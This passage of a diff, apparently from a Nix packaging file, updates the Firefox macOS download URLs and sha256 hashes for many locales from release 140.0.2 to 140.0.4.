-      sha256 = "9574083c5f10dea1715bdfc957afe01c57f4bfe6a3d0bd78e29a785aa3609836";
+      sha256 = "4c8286ccda8e88bcde5ed66c235fae7bdeb15c98a10990dd7f3eb6ef8e65ad85";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/af/Firefox%20140.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/af/Firefox%20140.0.4.dmg";
       locale = "af";
       arch = "mac";
-      sha256 = "510deda8544c99cc97eb1255ab6e26e9ca3e4e06ff0ed97e7cf93ab56f3fb001";
+      sha256 = "e9f57d3a8e6e7e488f7fd54fae59f2be7b1233371079d898382fbd9c89acdef4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/an/Firefox%20140.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/an/Firefox%20140.0.4.dmg";
       locale = "an";
       arch = "mac";
-      sha256 = "53215a5f12b40b52e804f0a0b5c64a609f716666eaa39f22f946b8d4014b69c5";
+      sha256 = "cb2fcb694e47d16477445f63730fff81e2b38b24cb9d8eb94587b62f8210b31e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/ar/Firefox%20140.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/ar/Firefox%20140.0.4.dmg";
       locale = "ar";
       arch = "mac";
-      sha256 = "d9e3f0f824e12631af03db167da0206035700e5e7b208946603b05b1ef249683";
+      sha256 = "0c040cd1637142090716a9537cf89b249d1c82d782cf1d7f3ff6f86eeb3d6db1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/ast/Firefox%20140.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/ast/Firefox%20140.0.4.dmg";
       locale = "ast";
       arch = "mac";
-      sha256 = "05ed457716c070a24292ca555464b7ab440608d39d9924c943e1e8f8733cf358";
+      sha256 = "1d255ef5534eaf6183aa214bafb72b588299662f7fb7af1bc892e5f83972304d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/az/Firefox%20140.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/az/Firefox%20140.0.4.dmg";
       locale = "az";
       arch = "mac";
-      sha256 = "0a648dd41a97264cc682cf4550c5c19ae3c7ba0f0943cb946926b8af4fce0aec";
+      sha256 = "ecff452dfc9d0f42fbe2f2d7408d55648c45e92840010cfc7753f9ed5189624d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/be/Firefox%20140.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/be/Firefox%20140.0.4.dmg";
       locale = "be";
       arch = "mac";
-      sha256 = "bc161c0b3b4a7d05c17a980dad54bed45f7cb49f8bc9461eb6f8425da9c7e730";
+      sha256 = "405ea45bdf09994704affe968d6dcd2505b9450c1241105d0cec7cd849a0303d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/bg/Firefox%20140.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/bg/Firefox%20140.0.4.dmg";
       locale = "bg";
       arch = "mac";
-      sha256 = "448e17c970925dbd6afd049817b09bc673ce112a9bef20345f2bab70a74b1471";
+      sha256 = "de85ca7b6d121e8e0a55f53d65803b7d5782fb7afb1a0a7ec7483a3a1c68ba2c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/bn/Firefox%20140.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/bn/Firefox%20140.0.4.dmg";
       locale = "bn";
       arch = "mac";
-      sha256 = "4ba478b5d8b4590d1295da6372a39ce340930879c163d1bf02a5f8c43a7bd1a9";
+      sha256 = "a8b21d3ab4a3e3dccc30e8188e9e953d17cbdf52534ebf53f5cc1d252cce99b3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/br/Firefox%20140.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/br/Firefox%20140.0.4.dmg";
       locale = "br";
       arch = "mac";
-      sha256 = "13f088c36316fb4bd41c241f1f7abfb547b050d84b697951dcb04d741906bee3";
+      sha256 = "536aca8e56e1990e329a23998db9628943ececa17a239eedb5f62f95a12494db";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/bs/Firefox%20140.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/bs/Firefox%20140.0.4.dmg";
       locale = "bs";
       arch = "mac";
-      sha256 = "902ef4030c43c578ac4b41e3d8a9c995d3ba751887f403a0cdcfc14cc4833fc0";
+      sha256 = "0a13b4c61bdfda6274358f3a58baffa15b2ba40ebfc9b8fa5ae5da7317d590af";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/ca-valencia/Firefox%20140.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/ca-valencia/Firefox%20140.0.4.dmg";
       locale = "ca-valencia";
       arch = "mac";
-      sha256 = "9ea267a5321a86a7fc96deb7fee2c12dece0a15cdb0f3d1809fe2e17ab90e901";
+      sha256 = "5d1f6569ac2b8c561334d5ada5245ef9aecf0814398e6d9ca89cd7c01f73cafb";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/ca/Firefox%20140.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/ca/Firefox%20140.0.4.dmg";
       locale = "ca";
       arch = "mac";
-      sha256 = "c38e4bb0fdcf8936f19edd35e5cbc70cd9c7d3372644c8403e2a8ce6aaad60a0";
+      sha256 = "a97bca2cd5de2dbcb6d04e14f45b5e9144bb5d035464a9a056fa8eb633de89be";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/cak/Firefox%20140.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/cak/Firefox%20140.0.4.dmg";
       locale = "cak";
       arch = "mac";
-      sha256 = "c9355d3e9688d45b1c5f588df14b96421d8d585cd7647ba4a1fd97ae56ff94d8";
+      sha256 = "e6b815c4631d3fc622b5912fa286ea0b626a9d2fc81595e7492c656a6b1e9111";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/cs/Firefox%20140.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/cs/Firefox%20140.0.4.dmg";
       locale = "cs";
       arch = "mac";
-      sha256 = "f00c0f86ce41bfcca1a96021b04f74b9ec7c9faf56021dbe1d18f012c645f878";
+      sha256 = "e60d7c7f78d2178457c357bf89f4687c94a1fe1e8212626957823b1c13ab11c3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/cy/Firefox%20140.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/cy/Firefox%20140.0.4.dmg";
       locale = "cy";
       arch = "mac";
-      sha256 = "9883b5d63fbbcf8f1612db500c545b659000c3bf7c308fb4bf52615b744b5a2c";
+      sha256 = "6af60b846d8b7f0ba3eba2f3a6b3eb41f935d109ebe59cbbbc6948a2bae6eb2b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/da/Firefox%20140.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/da/Firefox%20140.0.4.dmg";
       locale = "da";
       arch = "mac";
-      sha256 = "86e87041eb527db3a4142b9149f371ab7d426a148136dd6e41759306c46e4648";
+      sha256 = "f8b04a2d2c4c966a5451d964b23b6c6136cdf2ad2a86f1f3e6820c63fc7d9940";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/de/Firefox%20140.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/de/Firefox%20140.0.4.dmg";
       locale = "de";
       arch = "mac";
-      sha256 = "a5a6447c8cdec9a7f06f05f9fbf1c2cc2af4cd079c2c1b015e1a74e457c9249e";
+      sha256 = "b51a3ba43c4a0afd4cdd78e44ab5795663fe07c49dc1fef3fccf5c5ba5049bda";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/dsb/Firefox%20140.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/dsb/Firefox%20140.0.4.dmg";
       locale = "dsb";
       arch = "mac";
-      sha256 = "939d44b66ae87d88343b1ce7a8a5a8726b902f7e0af6ba91155f96735d5fe792";
+      sha256 = "8fe058e953664730490b54d549825282458dd031087df0c3ee72838f88141005";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/el/Firefox%20140.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/el/Firefox%20140.0.4.dmg";
       locale = "el";
       arch = "mac";
-      sha256 = "0aa026d3fcb036120dee3acc268a98dc92ea9fe1e9cd2e3cf63f34e5f8edbbc1";
+      sha256 = "dd4f77a7d168a2dea9229a9a7fcde85fd33484242802ba3adf543133d1485ea9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/en-CA/Firefox%20140.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/en-CA/Firefox%20140.0.4.dmg";
       locale = "en-CA";
       arch = "mac";
-      sha256 = "ad2885278e3ec165eadd239d8d58b989d4e0f4e1612ab576b1a6dc675a8989ff";
+      sha256 = "a6577b839347ca1dcb6fdc4e017ac277238f969fe567a2923ae1d19a02408600";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/en-GB/Firefox%20140.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/en-GB/Firefox%20140.0.4.dmg";
       locale = "en-GB";
       arch = "mac";
-      sha256 = "721932e9f05a371830a8107ed3e31bf4a95fb51f71e56a04917e118d26f218d0";
+      sha256 = "027a7b1755d0a2a6dd1eddc1ca71f9dbb4d43b9f8c81fce32a18e2bd41550aca";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/en-US/Firefox%20140.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/en-US/Firefox%20140.0.4.dmg";
       locale = "en-US";
       arch = "mac";
-      sha256 = "4584538f48fc104a83cd5b62b72f027e70bffb8cb6ea56dd24e3657347cfa979";
+      sha256 = "e97d88d6ac04766cc52963d0d8f567bd39464bfc612167cd81627e6bb22d1d8c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/eo/Firefox%20140.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/eo/Firefox%20140.0.4.dmg";
       locale = "eo";
       arch = "mac";
-      sha256 = "406f580dfe154194e256a74e5d799f397ebe6cc3886aab76c5560610b1209f8c";
+      sha256 = "488e0a613dbb62ef53d244dac8c9ab1349c2ea6b4ccc84ab57836103502dfb65";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/es-AR/Firefox%20140.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/es-AR/Firefox%20140.0.4.dmg";
       locale = "es-AR";
       arch = "mac";
-      sha256 = "caf760c019ceb2b9e6d3f2648708ccf6fca8683d131e50124d7166a7379b819c";
+      sha256 = "da7725fb75155f96a0abc50cb503e32d17f8debb3002e010a3ebf59b5a2bbb99";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/es-CL/Firefox%20140.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/es-CL/Firefox%20140.0.4.dmg";
       locale = "es-CL";
       arch = "mac";
-      sha256 = "83e2d00d5aa4d8f3f1956199a9b5c858457ecb7dc850869c0e72433384ba2516";
+      sha256 = "650a8f2d8198eded9cf01ab44668c46b6c5100524478017e9a1a95332976146d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/es-ES/Firefox%20140.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/es-ES/Firefox%20140.0.4.dmg";
       locale = "es-ES";
       arch = "mac";
-      sha256 = "5d89313084fe55ff8c71b62a48d850dc35f3bcf93fec0990274211a34dfe43c5";
+      sha256 = "aff48cbc6a8dab4c88a9ed40222e85c27d44c281e7d9b0f835e84820f8909fad";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/es-MX/Firefox%20140.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/es-MX/Firefox%20140.0.4.dmg";
       locale = "es-MX";
       arch = "mac";
-      sha256 = "bad4fd02555db02c5c368977340c2fef5bdf2035d0098642f6091217988263b9";
+      sha256 = "243d59d14008425a1c264713586cf13ffcc375b56de828f8cda5a4ae22b459bb";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/et/Firefox%20140.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/et/Firefox%20140.0.4.dmg";
       locale = "et";
       arch = "mac";
-      sha256 = "be7d3d8a83181a43701ac0454f9defa4bff86f91d9f12d44f4dda88c1ef380b8";
+      sha256 = "c3403c2475c259c1e775598814455c0954d0aa788993014a481355d71e38a9b4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/eu/Firefox%20140.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/eu/Firefox%20140.0.4.dmg";
       locale = "eu";
       arch = "mac";
-      sha256 = "e679afce833f49d23fcca2446bd30c3ec46c56340e7e2bf71b0fd789db1af3e8";
+      sha256 = "49cb5f48d63040c0bdaa236d12139ca3f04795c164813893128228ff2f23d944";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/fa/Firefox%20140.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/fa/Firefox%20140.0.4.dmg";
       locale = "fa";
       arch = "mac";
-      sha256 = "3fa74b83b227f53e795e5db895c6b88c0f86f6a93d23727cabf9cd511208926e";
+      sha256 = "80807e3b049f0568492a67dd346a42cac86da5a07318d5dda2b7e596a6a20b5a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/ff/Firefox%20140.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/ff/Firefox%20140.0.4.dmg";
       locale = "ff";
       arch = "mac";
-      sha256 = "79a02b2f1e98fa754df19c0654a21c7a28d4b24b00e0be9b6496a7604632ce36";
+      sha256 = "cd75707ccad5392126b4f2e2059b226925b5762eb5ee5d9cc6f3d8be62d1dfdb";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/fi/Firefox%20140.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/fi/Firefox%20140.0.4.dmg";
       locale = "fi";
       arch = "mac";
-      sha256 = "1de412cf06b8f6e1c65ea1fd036b087c691857f88eb5f288ad0dc036752defd8";
+      sha256 = "51578245b8bd2eb40aeebca324940634c7fa735a2d1e313a58bee237bd708625";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/fr/Firefox%20140.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/fr/Firefox%20140.0.4.dmg";
       locale = "fr";
       arch = "mac";
-      sha256 = "646df95e72ba0fb3d3a169c6e1baf5501edef4d8b4d3fdd9bbf872197b7bd3a3";
+      sha256 = "983937d9e3fe76aa0b90150ea43fc6ae9d4595a2cd5ad23fe0b7b441d742b5a0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/fur/Firefox%20140.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/fur/Firefox%20140.0.4.dmg";
       locale = "fur";
       arch = "mac";
-      sha256 = "3d62a2b8c396384a8c66c0d6dca42f3203570844a68c3a64fa40cdc104e28452";
+      sha256 = "c93f087be6cdc2c1ef2ffcc4f4fa5c23a768fa46a0cf089e37c102bf3722f92f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/fy-NL/Firefox%20140.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/fy-NL/Firefox%20140.0.4.dmg";
       locale = "fy-NL";
       arch = "mac";
-      sha256 = "0c637c0a70658d1fbceacdb381ff16c0fd28e157ef5fd58c4e95b5734cab9643";
+      sha256 = "5cab4a45193a8983fdfdaa39f96fc091d02360546b526a64fe15b2f66644a5af";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/ga-IE/Firefox%20140.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/ga-IE/Firefox%20140.0.4.dmg";
       locale = "ga-IE";
       arch = "mac";
-      sha256 = "2ffc124e5ff486fcfb5910e7f9d97851edb2d6496259f6b2be6ed2d76f526ba1";
+      sha256 = "10d323fff09bb3cee2d99262a86726815ee36396ff0ad15a55213876b7b956e0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/gd/Firefox%20140.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/gd/Firefox%20140.0.4.dmg";
       locale = "gd";
       arch = "mac";
-      sha256 = "566efee6522c826d8811572457d185ae5898802436fceff1af008a6c31b430c7";
+      sha256 = "83ff0d14ae302cacef73c078f4d2a10c845376f928b4302e2dcb1a197db97190";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/gl/Firefox%20140.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/gl/Firefox%20140.0.4.dmg";
       locale = "gl";
       arch = "mac";
-      sha256 = "e5fce126d4e60cf01cd2b4d9f032fe84a36bbc402cba5c7b3319d4603e0981d3";
+      sha256 = "96cb66a2829c0cc22157e0b53c782de7c281e96a5044bdc73f905c1140e4ff6c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/gn/Firefox%20140.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/gn/Firefox%20140.0.4.dmg";
       locale = "gn";
       arch = "mac";
-      sha256 = "e539ddf9eb7bf115560f81eee96680250f501d3bc66da36d999a5d5dc558c7a2";
+      sha256 = "7bcb00d87a9274aa154b3ca74272389180df0a1d399c7e9840a19f61c0714b21";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/gu-IN/Firefox%20140.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/gu-IN/Firefox%20140.0.4.dmg";
       locale = "gu-IN";
       arch = "mac";
-      sha256 = "e9296b000ff84239cf71f5313239c294434001db340ce4504518de64f7dd30a2";
+      sha256 = "26d644391bf6e772c3cb5551eecddbfe1eb03d1f0acf3905071019e268151fee";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/he/Firefox%20140.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/he/Firefox%20140.0.4.dmg";
       locale = "he";
       arch = "mac";
-      sha256 = "09be2afffa661784f0a1a44b20399437382d7dc343db256f27912a9c935a9cfa";
+      sha256 = "2fa8005f947b7af24fe8b2099b7c5a1b4ba0703271ef7b77aedc3d154c8dc35c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/hi-IN/Firefox%20140.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/hi-IN/Firefox%20140.0.4.dmg";
       locale = "hi-IN";
       arch = "mac";
-      sha256 = "933b56f7b344bc1eab2d7a80f3eab746ace77f272570df0ea3cffcf5892d0183";
+      sha256 = "656fc2cd7490d2da9ec61ddd4df9b9bf384e80cd87e718e2394e02de393837dc";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/hr/Firefox%20140.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/hr/Firefox%20140.0.4.dmg";
       locale = "hr";
       arch = "mac";
-      sha256 = "64d5ddec4924716e077e4e1645486cf14cec3e029f307320457aeb6001b1fcc8";
+      sha256 = "37f3c1a7026e32fdf89eeaa19b9b77243eae301766ba6d2be42ac936d837fec2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/hsb/Firefox%20140.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/hsb/Firefox%20140.0.4.dmg";
       locale = "hsb";
       arch = "mac";
-      sha256 = "63f10cc6ed00a7bfed4b30566f0f6350941a664ed4b7258c63b73e48129b75b6";
+      sha256 = "a47e0bf57e7067b8c88e284b8b725ce860bc02800e25a4f47bfe6614355840b1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/hu/Firefox%20140.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/hu/Firefox%20140.0.4.dmg";
       locale = "hu";
       arch = "mac";
-      sha256 = "3645d1a9fc28ec718abbf9f730a0076c228d6feb188a5d31b029225df352ef01";
+      sha256 = "3b3b56a4da6934fb4945d8b386810503752104b0973e3ce20d826142e1c87f81";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/hy-AM/Firefox%20140.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/hy-AM/Firefox%20140.0.4.dmg";
       locale = "hy-AM";
       arch = "mac";
-      sha256 = "033ea44236e95c8d5b74f6692a6ecdf6cc1a9927398c7ba5e81431fc4a82b3b6";
+      sha256 = "b3949d87e2eac12b715340590ccbbfd67382d40928a0a641f2c017d044e78049";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/ia/Firefox%20140.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/ia/Firefox%20140.0.4.dmg";
       locale = "ia";
       arch = "mac";
-      sha256 = "15679c8e1bd89c75d3300cb3e033a17ae93f75cb22e8dd81b137fca751890b16";
+      sha256 = "443fca414194feb84e801baabe6592ed95858c96b2f8b4e569fcb701b579e822";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/id/Firefox%20140.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/id/Firefox%20140.0.4.dmg";
       locale = "id";
       arch = "mac";
-      sha256 = "87944600f3696c298cca9c5c5c4b46421a389bf83a5853f07bd0000503af4d83";
+      sha256 = "a3cb49eda1eb25f5099df6f82e5483f0b3be5f1c919c83950f5fdbac22f580e7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/is/Firefox%20140.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/is/Firefox%20140.0.4.dmg";
       locale = "is";
       arch = "mac";
-      sha256 = "8a588b8b52257cf773da756c8b1c67742d5324f3a1c1f422a8bea670daff4e38";
+      sha256 = "7b70819e255261c0a0c1ae32ad69d2dce1da301fe9b3eda4b656f5d3a9c2c938";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/it/Firefox%20140.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/it/Firefox%20140.0.4.dmg";
       locale = "it";
       arch = "mac";
-      sha256 = "1b79852aa06196f7c9187931c5572638de5030df931841182558a224ade44c55";
+      sha256 = "b6f2be2b39f18483009de42a3da9f752b0564b55f56e1b00cd289db530e218a7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/ja-JP-mac/Firefox%20140.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/ja-JP-mac/Firefox%20140.0.4.dmg";
       locale = "ja-JP-mac";
       arch = "mac";
-      sha256 = "ee6c52e01d969f68d2478f3a90a0b7b242a0ce6a2b83394425aa721892a2378f";
+      sha256 = "b24cc09f5bbff3f55aa28d4728ff347464891edb66219df9c6f2e44ed860107f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/ka/Firefox%20140.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/ka/Firefox%20140.0.4.dmg";
       locale = "ka";
       arch = "mac";
-      sha256 = "5a450dc134bcba6d74dd967ce752089aebaba5991e531f055e0e495def44e904";
+      sha256 = "4260c25eeeda5198d62eedc945f26d488aff857365ee81088e52629035039f14";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/kab/Firefox%20140.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/kab/Firefox%20140.0.4.dmg";
       locale = "kab";
       arch = "mac";
-      sha256 = "9b39486547b6c3adc488e9d3943fc0140cc1c58a87fc6e64330e572b970e7633";
+      sha256 = "5d29fa67a92bd3447b8bdb7023d2979087427980ffe1128b1661d0b0615c1169";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/kk/Firefox%20140.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/kk/Firefox%20140.0.4.dmg";
       locale = "kk";
       arch = "mac";
-      sha256 = "7c28577b7ce7a05ea16122f0190da573c363cddeef114ccfac7e39087ca71da2";
+      sha256 = "e746741ab8ff463985849f3b65a82a0105605bc689d3f27f9e9dfc26433d125a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/km/Firefox%20140.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/km/Firefox%20140.0.4.dmg";
       locale = "km";
       arch = "mac";
-      sha256 = "8debf1d1c3c2ab14c2419aa44237c3183a5e02fc55b857b5418bed98e24b8a94";
+      sha256 = "9c72595599c6943194bdf659b6d7a7d55f68be905f139a88ad511ab3e7c54863";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/kn/Firefox%20140.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/kn/Firefox%20140.0.4.dmg";
       locale = "kn";
       arch = "mac";
-      sha256 = "84f278459d95a03ac61b94caa60e13bf92066a8592abdb0d2cf9a1c36e25b89d";
+      sha256 = "b7d63b5583d9f51c6fceb2f444a3dfcc79cd335e44566ad18166fd607833a571";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/ko/Firefox%20140.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/ko/Firefox%20140.0.4.dmg";
       locale = "ko";
       arch = "mac";
-      sha256 = "5f1cfc0ed96ca290ec4823918eda334f7535237b31b94b5c0a9ed8aa12d4b2b4";
+      sha256 = "b8287ea7deedbf7350115dd1ac4358f9a9ed3a4670e5054c6058be2f47fb696b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/lij/Firefox%20140.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/lij/Firefox%20140.0.4.dmg";
       locale = "lij";
       arch = "mac";
-      sha256 = "d06f9e94e04287e57bdf2f6991cc0e7434a7583c114206059c906b3b9474c9ff";
+      sha256 = "bf6907af6b823649b82d142bb953ac82678240d546c37d60729d53748fca2c01";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/lt/Firefox%20140.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/lt/Firefox%20140.0.4.dmg";
       locale = "lt";
       arch = "mac";
-      sha256 = "793ed5697bc878424749e605148776371c62b18bea4b024b84c5c37777341fc6";
+      sha256 = "a3c3dc1761732eed8dcef2f54d114b02d93c50d37b489cfa661c3df91ebe43e8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/lv/Firefox%20140.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/lv/Firefox%20140.0.4.dmg";
       locale = "lv";
       arch = "mac";
-      sha256 = "e0787c7c4b328bde6f6542b1c8a395a0edc8b046b350d9b41056d241cbd50689";
+      sha256 = "73e0108bd692e7a457de70c5c7e899c429fad8cd37721ce7370e66a525e707e6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/mk/Firefox%20140.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/mk/Firefox%20140.0.4.dmg";
       locale = "mk";
       arch = "mac";
-      sha256 = "570adea48da8641dce718764c0db3e6176686daed1aab6a04bbfe3f13dad348d";
+      sha256 = "ca46e88411ec1cd4ceddc672ace2919dc25727663612bb9bd27632ab9a2f5f03";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/mr/Firefox%20140.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/mr/Firefox%20140.0.4.dmg";
       locale = "mr";
       arch = "mac";
